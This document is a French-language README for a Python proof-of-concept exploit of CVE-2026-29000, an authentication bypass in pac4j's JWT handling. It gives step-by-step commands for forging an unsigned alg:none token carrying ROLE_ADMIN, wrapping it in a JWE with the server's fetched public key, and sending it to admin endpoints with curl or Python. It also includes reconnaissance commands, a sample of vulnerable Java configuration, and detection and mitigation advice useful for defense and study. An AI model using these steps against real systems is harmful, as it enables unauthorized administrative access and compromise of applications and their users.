
POC Python, Exploit pour CVE-2026-29000
Preuve de concept pour CVE-2026-29000 - Une vulnérabilité critique de contournement d'authentification dans l'implémentation JWT de pac4j permettant aux attaquants de forger des jetons administrateur sans signature valide.
Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. L'auteur décline TOUTE responsabilité en cas d'utilisation abusive, de dommages ou d'utilisation illégale de cet exploit.
Cette vulnérabilité exploite une faille dans le mécanisme d'authentification JWT de pac4j où la bibliothèque :
alg: "none" dans l'en-tête JWTUn attaquant peut créer un JWT non signé avec des revendications arbitraires (comme role: "ROLE_ADMIN"), le chiffrer dans un conteneur JWE en utilisant la clé publique du serveur, et obtenir un accès non autorisé à des fonctionnalités d'administration.
Pour que cet exploit réussisse, le serveur cible doit satisfaire TOUTES les conditions suivantes :
Le serveur doit exposer ses clés publiques via l'un de ces points d'accès :
/.well-known/jwks.json (point d'accès OAuth/OIDC standard)/api/auth/jwks (point d'accès personnalisé)Pourquoi : L'exploit récupère automatiquement la clé publique du serveur pour chiffrer le jeton JWE falsifié.
Le serveur doit :
role dans la charge utile JWTROLE_ADMIN)Rôles courants :
ROLE_ADMIN - Accès administrateur completROLE_USER - Accès utilisateur standardLe serveur doit :
L'application doit utiliser pac4j avec :
"none" ou validation d'algorithme inadéquaterequests, jwcrypto# Cloner le dépôt
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# Installer les dépendances
pip install -r requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
python3 exploit.py <URL_CIBLE>
Exemple :
python3 exploit.py http://vulnerable-app.local:8080
Le script va :
role: "ROLE_ADMIN"python3 exploit.py http://vulnerable-app.local:8080 --username john
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
Si le point d'accès JWKS n'est pas accessible publiquement, fournissez le JWK manuellement :
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
L'exploit produit un jeton JWE au format suivant :
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
Utilisez le jeton dans les requêtes HTTP pour accéder aux points d'accès protégés :
# Avec curl
curl -H "Authorization: Bearer <JETON_JWE>" \
http://vulnerable-app.local:8080/api/admin/dashboard
# Avec Python requests
import requests
headers = {"Authorization": f"Bearer {jeton_jwe}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # Nom d'utilisateur
"role": "ROLE_ADMIN", # Niveau de privilège
"iss": "principal-platform", # Émetteur
"iat": 1234567890, # Émis à
"exp": 1234571490 # Expiration (1 heure)
}
Le JWT est créé sans signature (alg: "none"), ce qui est normalement invalide mais accepté par les serveurs vulnérables.
L'exploit interroge :
/.well-known/jwks.json (standard OAuth/OIDC)/api/auth/jwks (point d'accès personnalisé)Cela récupère la clé publique RSA du serveur nécessaire au chiffrement.
Le JWT non signé est chiffré en utilisant :
Cela crée un jeton JWE que le serveur peut déchiffrer mais dont il ne vérifiera pas la signature interne.
Le jeton JWE est inclus dans l'en-tête Authorization :
Authorization: Bearer <JETON_JWE>
Le serveur vulnérable le déchiffre et extrait le JWT non signé, en faisant confiance aux revendications sans vérifier la signature.
JWT non signé (alg:none)
↓
Enveloppé dans un JWE (avec la clé publique du serveur)
↓
Le serveur reçoit le jeton JWE
↓
Le serveur déchiffre le JWE
↓
Extrait le JWT interne non signé
↓
❌ Le serveur NE vérifie PAS la signature
↓
✅ Accepte les revendications comme valides (role: ROLE_ADMIN)
↓
L'attaquant a un accès administrateur !
Exposition du point d'accès JWKS
/.well-known/jwks.json ou /api/auth/jwks est accessible publiquementJournaux de validation JWT
alg: "none"Examen de la configuration
# Reconnaissance
curl -s http://cible:8080/.well-known/jwks.json | jq .
curl -s http://cible:8080/api/auth/jwks | jq .
# Vérifier si les jetons JWE sont acceptés
curl -H "Authorization: Bearer eyJ..." http://cible:8080/api/protected
Imposer la vérification de signature
// MAUVAIS - Accepte les jetons non signés
JwtAuthenticator jwt = new JwtAuthenticator();
jwt.setAlgorithm(null); // ❌ Vulnérable
// BON - Nécessite une signature valide
JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Sécurisé
Valider l'algorithme JWT
alg: "none"Désactiver JWE si non nécessaire
Mettre à jour pac4j
Ajouter des couches de validation de jetons
exp)iss)Restreindre l'accès au point d'accès JWKS
location /.well-known/jwks.json {
allow 10.0.0.0/8; # Réseaux internes uniquement
deny all;
}
Surveiller les journaux d'authentification
alg: "none"Segmentation réseau
Audits de sécurité réguliers
@Configuration
public class SecurityConfig {
@Bean
public JwtAuthenticator jwtAuthenticator() {
JwtAuthenticator authenticator = new JwtAuthenticator();
// ❌ VULNÉRABLE : Aucune vérification de signature
authenticator.setAlgorithmsAllowedForSigning(null);
authenticator.setJwtClaimsValidation(false);
return authenticator;
}
@Bean
public JWEEncrypter encrypter() {
// Accepte JWE mais ne vérifie pas le JWT interne
return new JWEEncrypter();
}
}
Cet exploit est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.
L'accès non autorisé à des systèmes informatiques est illégal. Cet outil doit uniquement être utilisé sur :
Les auteurs ne sont pas responsables d'une utilisation abusive ou des dommages causés par cet outil.
Licence MIT - Voir le fichier LICENSE pour plus de détails
Vous avez trouvé un bug ? Vous avez des améliorations ?
git checkout -b feature/amelioration)git commit -m 'Ajouter une amélioration')git push origin feature/amelioration)Pour des problèmes, questions ou suggestions :
Dernière mise à jour : Mai 2026
Auteur : Équipe de recherche en sécurité
Statut : Preuve de concept éducative